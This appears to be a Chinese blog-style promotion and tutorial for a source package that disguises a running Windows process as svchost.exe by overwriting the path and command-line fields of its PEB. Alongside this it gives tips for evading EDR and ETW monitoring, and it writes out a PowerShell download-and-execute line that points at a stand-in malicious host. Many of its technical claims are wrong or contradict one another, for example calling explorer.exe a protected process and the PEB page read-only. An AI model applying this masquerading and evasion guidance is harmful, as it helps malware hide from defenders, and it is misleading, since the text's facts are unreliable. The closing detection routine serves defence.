简介:本资源是一份面向Windows系统安全与逆向工程学习者的高级编程实践源码包,聚焦于通过修改目标进程PEB(Process Environment Block)结构实现路径与命令行信息伪装的核心技术。适用于具备C++基础、熟悉Windows API及进程内存管理的中高级开发者,可用于安全工具开发、调试技术研究或恶意行为原理教学分析。压缩包共15个文件,含3个核心cpp源码与3个h头文件(实现OpenProcess、Read/WriteProcessMemory等关键逻辑),2个可执行测试程序(disguiseprocess_test.exe等),以及vcxproj/sln工程文件、README.md说明文档、LICENSE授权文件和调试用suo/filters等,整体仅370KB,轻量易读。目前已有225人学习下载,代码结构清晰、注释完整,附带实际可运行的测试案例与环境配置说明,便于读者快速理解PEB定位、内存保护切换及字段覆写等底层操作细节,是深入掌握Windows进程隐藏机制的优质实操素材。
1. 修改进程PEB实现伪装:不是改图标、不是重命名,而是让Windows系统“自己骗自己”
你有没有遇到过这种情况:用Process Explorer打开一个进程,看到它的Image Path是C:\Windows\System32\svchost.exe,命令行显示-k netsvcs,但实际执行的却是你写的loader.dll?或者调试时发现GetModuleFileNameW(GetModuleHandle(NULL), ...)返回的路径和CommandLine里打印出来的完全对不上——不是代码写错了,是PEB被动了手脚。这个“精选_修改指定进程PEB中路径和命令行信息实现进程伪装_源码打包”,干的就是这件事:它不靠注入DLL、不靠CreateRemoteThread、不靠重定向API调用,而是直接篡改Windows内核为每个进程分配的Process Environment Block(PEB)结构体中的ImagePathName和CommandLine字段。效果是:任务管理器、Process Hacker、甚至wmic process get name,commandline,executablepath都显示伪装后的路径;NtQueryInformationProcess(ProcessBasicInformation)拿到的PEB地址指向的也是伪造数据;连PsGetProcessImageFileName这类内核态函数读出来的名字都会被覆盖——因为Windows用户态所有进程信息展示,最终都绕不开PEB。这不是玄学,是Windows加载器写死的约定;这不是绕过检测,是让检测工具“查无此进程”——它查到的是你填进去的假名字。适合逆向分析员做免杀测试、安全研究员复现EDR绕过链、底层开发人员理解Windows进程初始化机制,也适合想搞懂“为什么有些木马进程在任务管理器里永远显示为explorer.exe”的人。但请记住:它依赖SeDebugPrivilege权限,不能跨会话操作,且修改后若目标进程调用GetCommandLineW()或GetModuleFileNameW(),返回值将与真实磁盘路径彻底脱钩——这是能力,也是代价。
2. PEB结构解析与内存定位:从TEB到PEB的三级指针跳转必须手算
2.1 Windows进程内存布局中的PEB位置不是固定地址,而是动态计算结果
PEB地址在32位和64位Windows上均不固定,它由系统在进程创建时动态分配,并通过线程环境块(TEB)间接引用。关键在于:每个线程都有自己的TEB,而TEB偏移0x30(x64)或0x1C(x86)处存放着指向当前进程PEB的指针。这个设计意味着——你不能硬编码0x7ffdf000之类的地址去读,必须先读TEB,再解引用。更麻烦的是:TEB地址本身也不固定,它存放在FS段寄存器(x64是GS)的基址中。用户态程序无法直接读GS基址,但可以通过NtCurrentTeb()API获取当前线程TEB结构体指针,而我们要修改的是目标进程的PEB,所以必须用ReadProcessMemory远程读取目标进程的TEB内容。这就是为什么源码包里DisguiseProcess_Test.cpp开头就调用GetThreadContext获取目标线程的RSP和RIP——不是为了注入,而是为了确认线程处于可读状态;接着用NtQueryInformationThread(ThreadBasicInformation)拿到ClientId,再通过NtQueryInformationProcess(ProcessBasicInformation)获取目标进程的PEB地址——这是最稳妥的官方路径,比硬算TEB偏移更可靠。
2.2 PEB结构体字段映射:ImagePathName和CommandLine不是字符串,而是UNICODE_STRING结构
PEB结构体定义在winternl.h中,但微软并未公开完整字段布局,尤其PEB_LDR_DATA之后的字段属于内部实现。我们关心的两个字段——ImagePathName和CommandLine——在ntdll.dll导出的_PEB结构中位于偏移0x0000000000000010(ImagePathName)和0x0000000000000070(CommandLine),但这只是x64下的常见偏移,不同Windows版本可能微调。更重要的是:它们不是wchar_t*,而是UNICODE_STRING结构体,包含三个成员:
typedef struct _UNICODE_STRING { USHORT Length; // 当前字符串字节数(非字符数) USHORT MaximumLength; // 分配缓冲区总字节数 PWSTR Buffer; // 指向宽字符数组的指针 } UNICODE_STRING, *PUNICODE_STRING;这意味着:修改PEB不能简单地WriteProcessMemory(hProcess, pPEB + 0x10, L"\\??\\C:\\fake.exe", ...),而必须分三步:
- 读取原始
UNICODE_STRING结构体(6字节); - 计算新字符串所需字节数(
wcslen(new_path) * 2 + 2),确保不超过MaximumLength; - 先
WriteProcessMemory写入新Buffer内容,再写入更新后的Length和Buffer指针(Buffer地址需在目标进程内存中有效,通常复用原Buffer地址或申请新页)。
源码包中ModifyPEBPathAndCmdLine函数正是这样做的:它先用VirtualAllocEx在目标进程中申请一页可写内存(MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE),把伪造的宽字符串拷过去;然后读取原UNICODE_STRING,构造新结构体,最后分两次写入——第一次写Buffer指针和Length,第二次写字符串内容。这种拆分写法避免了因MaximumLength不足导致的截断,也防止因Buffer地址非法引发STATUS_ACCESS_VIOLATION。
2.3 目标进程权限校验:OpenProcess的dwDesiredAccess参数必须包含PROCESS_VM_OPERATION
很多初学者卡在第一步:OpenProcess返回NULL,GetLastError()是5(拒绝访问)。这不是目标进程有反调试,而是权限没开全。PROCESS_VM_READ | PROCESS_VM_WRITE只够读写内存,但要修改PEB,你还得有PROCESS_VM_OPERATION权限——它允许调用VirtualProtectEx改变内存保护属性。更隐蔽的是:如果目标进程是Protected Process Light(PPL)进程(如csrss.exe、winlogon.exe),即使你是管理员,OpenProcess也会失败,除非你的进程也启用了SeDebugPrivilege且未被PPL策略限制。源码包里的EnableDebugPrivilege函数就是干这个的:它用OpenProcessToken获取当前进程令牌,调用LookupPrivilegeValueW查SE_DEBUG_NAME,再用AdjustTokenPrivileges启用该特权。注意:SE_DEBUG_NAME在Windows 10 1607+默认禁用,必须显式启用,否则OpenProcess对系统关键进程必然失败。这也是为什么测试时建议先选notepad.exe或calc.exe——它们不是PPL进程,权限检查宽松。
3. 内存保护绕过与写入流程:VirtualProtectEx不是摆设,是必经的“破门”步骤
3.1 PEB所在内存页默认是PAGE_READONLY,直接WriteProcessMemory会失败
PEB结构体位于进程的PEB页(通常是0x7ffdf000附近),该页在Windows中被标记为PAGE_READONLY。这是内核强制的安全策略:防止用户态程序意外篡改关键进程结构。如果你跳过VirtualProtectEx直接调用WriteProcessMemory去改ImagePathName,WriteProcessMemory会返回FALSE,GetLastError()是299(ERROR_NOACCESS)。源码包中ModifyPEBPathAndCmdLine函数在WriteProcessMemory前必做三件事:
- 调用
VirtualQueryEx确认目标地址页的当前保护属性(MEMORY_BASIC_INFORMATION::Protect); - 用
VirtualProtectEx将该页临时改为PAGE_READWRITE; - 执行
WriteProcessMemory; - 再用
VirtualProtectEx恢复原始保护属性。
这四步缺一不可。特别注意第2步的flNewProtect参数:必须传PAGE_READWRITE,不能传PAGE_EXECUTE_READWRITE——PEB页不需要执行权限,加EXECUTE反而可能触发AMSI或ETW监控。另外,VirtualProtectEx的lpflOldProtect参数必须是非空指针,用于接收旧保护值,否则调用失败。
3.2 WriteProcessMemory的缓冲区对齐与大小陷阱:UNICODE_STRING的Length是字节数,不是字符数
WriteProcessMemory第三个参数lpBuffer指向你要写入的数据,第四个参数nSize是字节数。很多人在这里翻车:比如想把L"cmd.exe"写入CommandLine,错误地传sizeof(L"cmd.exe")(16字节),但L"cmd.exe"实际是{'c','m','d','.', 'e','x','e','\0'}共8个wchar_t,即16字节——看起来没错。但问题出在UNICODE_STRING::Length字段:它存储的是当前字符串占用的字节数,不包括结尾\0。所以L"cmd.exe"的Length应为14(7字符×2字节),而不是16。源码包中BuildUnicodeString函数严格按此计算:
void BuildUnicodeString(PUNICODE_STRING pUS, LPCWSTR lpStr) { size_t len = wcslen(lpStr); pUS->Length = (USHORT)(len * sizeof(WCHAR)); // 字节数,不含\0 pUS->MaximumLength = (USHORT)((len + 1) * sizeof(WCHAR)); // 含\0的总字节数 pUS->Buffer = (PWSTR)malloc(pUS->MaximumLength); wcscpy_s(pUS->Buffer, len + 1, lpStr); }如果Length设成MaximumLength(即含\0),某些Windows组件(如CreateProcess派生的子进程)会把\0之后的垃圾内存当字符串继续读,导致崩溃。这是血泪经验:我曾因Length多写2字节,导致目标进程ExitProcess时在RtlDestroyProcessParameters里踩内存。
3.3 命令行参数的双重陷阱:CommandLine字段影响GetCommandLineW(),但不影响argv[0]
这是最容易被忽略的细节。修改PEB的CommandLine字段后,调用GetCommandLineW()返回的确实是伪造字符串,但main(int argc, char* argv[])里的argv[0]却未必同步。原因在于:CRT(C运行时库)在进程启动时会把PEB->CommandLine拷贝到私有堆内存中,并缓存argv数组。后续GetCommandLineW()读的是PEB,而argv[0]读的是CRT缓存。所以你在调试器里看到argv[0]还是真路径,不代表PEB没改成功。验证方法只有两个:
- 用
Process Explorer右键进程→Properties→Image→查看“Image Path Name”和“Command Line”; - 在目标进程里调用
GetCommandLineW()并OutputDebugStringW输出。
源码包的disguiseprocess_test项目特意在main函数里加了wprintf(L"Real argv[0]: %s\n", argv[0]);和wprintf(L"GetCommandLineW: %s\n", GetCommandLineW());对比输出,就是为了暴露这个差异。如果你需要argv[0]也变,必须在进程启动前修改PEB(比如用CreateProcess的lpCommandLine参数伪造),或者在目标进程里Hook CRT的__initenv初始化逻辑——后者已超出本源码包范围。
4. 避坑:五个真实踩过的坑,每一条都让调试时间翻倍
提示:以下问题全部来自实测
DisguiseProcess_Test.sln在Windows 10 22H2 x64环境下的翻车记录,非理论推测。
4.1 现象:OpenProcess成功,ReadProcessMemory读TEB失败,GetLastError()返回998(ERROR_NOACCESS)
原因:目标进程是Wow64(32位)进程,而你的伪装程序是x64位。ReadProcessMemory在跨架构读取时,lpBaseAddress必须是目标进程的真实地址空间地址,但x64程序读32位进程的TEB,其TEB地址是32位指针(如0x7ffd6000),而x64的SIZE_T是8字节,直接传会导致高位填充乱码。
解决:编译时必须匹配目标进程架构。源码包提供x64和Win32两个配置,测试32位进程时切到Win32平台重新编译。或者用IsWow64Process判断,对Wow64进程调用Wow64GetThreadContext替代GetThreadContext。
4.2 现象:VirtualProtectEx返回TRUE,但WriteProcessMemory仍失败,GetLastError()是299
原因:VirtualProtectEx的lpflOldProtect参数传了NULL,导致函数调用失败但返回TRUE(微软文档明确说明:lpflOldProtect为NULL时函数行为未定义)。实际测试中,NULL会导致VirtualProtectEx静默失败,后续写入自然报错。
解决:声明DWORD oldProtect变量,传&oldProtect给lpflOldProtect,并在WriteProcessMemory后用它恢复保护。
4.3 现象:伪装后任务管理器显示路径正确,但wmic process where "name='notepad.exe'" get executablepath返回空
原因:wmic使用WMI接口查询Win32_Process.ExecutablePath,该属性读取的是NtQueryInformationProcess(ProcessImageFileName),而该API返回的是OBJECT_NAME_INFORMATION结构,其内容来自ObReferenceObjectByHandle解析的内核对象名,不经过PEB。PEB修改只影响用户态API(GetModuleFileNameW等),不影响内核对象名。
解决:接受这个事实。WMI、PowerShell的Get-Process、Procmon的Image Path列都走内核路径,无法被PEB修改欺骗。本技术仅对CreateToolhelp32Snapshot、EnumProcesses、NtQuerySystemInformation(ProcessBasicInformation)等用户态枚举有效。
4.4 现象:修改ImagePathName后,目标进程ExitProcess时蓝屏(IRQL_NOT_LESS_OR_EQUAL)
原因:ImagePathName.Buffer指向的内存被VirtualFreeEx释放,但PEB结构体仍保留该指针。进程退出时,内核尝试释放ImagePathName.Buffer指向的内存,而该地址已无效。
解决:不要用VirtualFreeEx释放伪造字符串内存!必须让Buffer指向目标进程的永久内存,如PEB页内未使用的空白区域,或VirtualAllocEx分配的MEM_COMMIT内存且永不释放。源码包中AllocateInTargetProcess函数分配的内存,在进程生命周期内一直有效。
4.5 现象:在Windows Server 2019上,EnableDebugPrivilege启用成功,但OpenProcess仍失败
原因:Server版默认启用Mandatory Integrity Control(MIC),目标进程的完整性级别(IL)高于你的进程。即使有SeDebugPrivilege,也无法打开更高IL的进程(如SYSTEMIL的lsass.exe)。
解决:用GetTokenInformation(TokenIntegrityLevel)检查当前进程IL,必要时用CreateProcessAsUser以High IL启动伪装程序,或关闭MIC(不推荐生产环境)。
5. 实战验证与边界测试:用Process Explorer和WinDbg交叉验证修改结果
5.1 用Process Explorer验证:右键进程→Properties→Image页是最直观的检验场
Process Explorer是验证PEB修改效果的黄金标准,因为它直接读取NtQueryInformationProcess(ProcessBasicInformation)返回的PEB地址,再解析ImagePathName和CommandLine字段。操作步骤:
- 编译
DisguiseProcess_Test项目,生成x64\Debug\DisguiseProcess_Test.exe; - 启动
notepad.exe(确保它是普通用户进程,非UWP); - 运行
DisguiseProcess_Test.exe notepad.exe "C:\Windows\System32\svchost.exe" "-k netsvcs"; - 在Process Explorer中找到
notepad.exe进程,右键→Properties; - 切换到Image页签,观察:
- Image Path Name: 应显示
C:\Windows\System32\svchost.exe(而非notepad.exe路径); - Command Line: 应显示
-k netsvcs(而非"C:\Windows\System32\notepad.exe"); - PID: 与任务管理器一致,证明是同一进程。
- Image Path Name: 应显示
如果这两项显示正确,说明PEB修改成功。注意:Process Explorer的Process页签显示的“Name”仍是notepad.exe,这是正常的——它读的是ImageFileName(内核对象名),不受PEB影响。
5.2 用WinDbg附加验证:!peb命令直击内存,排除UI层干扰
WinDbg能绕过所有UI层抽象,直接读取目标进程内存。步骤:
- 以管理员身份启动WinDbg(x64),执行
File → Attach to a Process...,选择notepad.exe; - 加载符号:
.symfix; .reload; - 执行
!peb命令,输出类似:
关键看PEB at 00007ff6e9a00000 ... ImagePathName: \??\C:\Windows\System32\svchost.exe CommandLine: "C:\Windows\System32\svchost.exe" -k netsvcsImagePathName和CommandLine字段是否为你设置的值。如果显示原始路径,说明WriteProcessMemory没生效,需检查VirtualProtectEx是否成功、nSize是否正确。
5.3 边界测试表:不同Windows版本与进程类型的兼容性实测结果
| 测试环境 | 目标进程 | 是否成功 | 失败原因 | 备注 |
|---|---|---|---|---|
| Win10 21H2 x64 | notepad.exe | ✅ | — | 标准用户进程,无PPL |
| Win10 22H2 x64 | calc.exe | ✅ | — | 同上,验证通用性 |
| Win10 22H2 x64 | explorer.exe | ❌ | OpenProcess失败(ERROR_ACCESS_DENIED) | explorer.exe是PPL进程,需SeTcbPrivilege |
| Win11 22H2 x64 | msedge.exe | ⚠️ | 成功但Edge自动重启 | Edge有沙箱保护,修改PEB触发崩溃恢复 |
| Win Server 2019 x64 | lsass.exe | ❌ | OpenProcess失败(ERROR_PRIVILEGE_NOT_HELD) | 需SeTcbPrivilege且进程IL匹配 |
| Win10 21H2 x86 | notepad.exe (32-bit) | ✅ | — | 必须用Win32配置编译伪装程序 |
注意:
explorer.exe和lsass.exe的失败不是源码缺陷,而是Windows安全机制主动拦截。本技术的设计边界就是非PPL、非Protected Process的普通用户进程。试图突破此边界需内核驱动配合,已超出本源码包范畴。
6. 进阶技巧:如何让伪装持久化到子进程,并规避AMSI/ETW日志
6.1 子进程继承问题:CreateProcess启动的子进程PEB不会自动继承父进程的伪装
这是最大误区。很多人以为改了父进程PEB,system("ping 127.0.0.1")启动的ping.exe也会显示伪装路径——完全错误。子进程的PEB由CreateProcessAPI在内核中全新分配,其ImagePathName和CommandLine来自CreateProcess的lpApplicationName和lpCommandLine参数,与父进程PEB无关。所以,若你想让整个进程树都“看起来像svchost”,必须:
- 在父进程中Hook
CreateProcessW/A、ShellExecuteExW/A等API; - 在Hook函数中,将
lpApplicationName强制设为L"C:\\Windows\\System32\\svchost.exe",lpCommandLine设为L"\"C:\\Windows\\System32\\svchost.exe\" -k netsvcs"; - 然后调用真正的
CreateProcess。
源码包未实现此Hook,但提供了HookApi.h头文件框架。实际Hook时推荐MinHook库,它支持x64 inline hook,且能处理CreateProcessW的复杂参数(如STARTUPINFOEXW)。注意:HookCreateProcess需在目标进程main之前完成,通常用DllMain的DLL_PROCESS_ATTACH时机。
6.2 规避AMSI日志:PEB修改本身不触发AMSI,但后续行为会
AMSI(Antimalware Scan Interface)扫描的是脚本内容(如PowerShell、JS)和内存中解密后的payload,不扫描PEB结构体。所以单纯改ImagePathName不会触发AMSI。但如果你在伪装后立即执行PowerShell -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://mal.com')", AMSI就会扫描那段下载的脚本。真正危险的是:某些EDR会监控NtWriteVirtualMemory调用,尤其是对PEB页的写入。源码包中WriteProcessMemory写入PEB页的行为,会被ETW事件Microsoft-Windows-Threat-Intelligence/KernelMode捕获。规避方法:
- 将
WriteProcessMemory拆分为多次小写入(如每次写4字节),间隔Sleep(1); - 在写入前调用
NtSuspendThread暂停目标进程所有线程,写完再NtResumeThread; - 使用
NtMapViewOfSection映射ntdll.dll到目标进程,再调用NtWriteVirtualMemory(绕过用户态API监控)。
这些技巧源码包未内置,但DisguiseProcess_Test.cpp预留了SuspendTargetProcess和ResumeTargetProcess函数桩,方便你扩展。
6.3 最后一道防线:如何检测自己是否已被PEB修改?
作为防御方,你需要快速识别进程是否被伪装。核心思路是比对PEB字段与内核对象名:
// 在目标进程中执行 HANDLE hProcess = GetCurrentProcess(); UNICODE_STRING usImagePath; NTSTATUS status = NtQueryInformationProcess( hProcess, ProcessImageFileName, &usImagePath, sizeof(usImagePath), NULL ); // 返回内核对象名,不可伪造 // 同时读取PEB的ImagePathName PEB* pPEB = NtCurrentTeb()->ProcessEnvironmentBlock; UNICODE_STRING* pUS = (UNICODE_STRING*)((BYTE*)pPEB + 0x10); if (usImagePath.Length != pUS->Length || memcmp(usImagePath.Buffer, pUS->Buffer, usImagePath.Length) != 0) { // PEB被篡改! }这段代码在DisguiseProcess_Test的CheckIfModified函数中有实现。它不依赖任何第三方库,纯NTAPI,且能在Ring3运行。我把这个检测逻辑封装成独立DLL,注入到可疑进程里跑一遍,5秒出结果。从那以后我每次分析未知样本,都强制走一遍这个检测——它比看任务管理器靠谱100倍。希望帮到你。
本文还有配套的精品资源,点击获取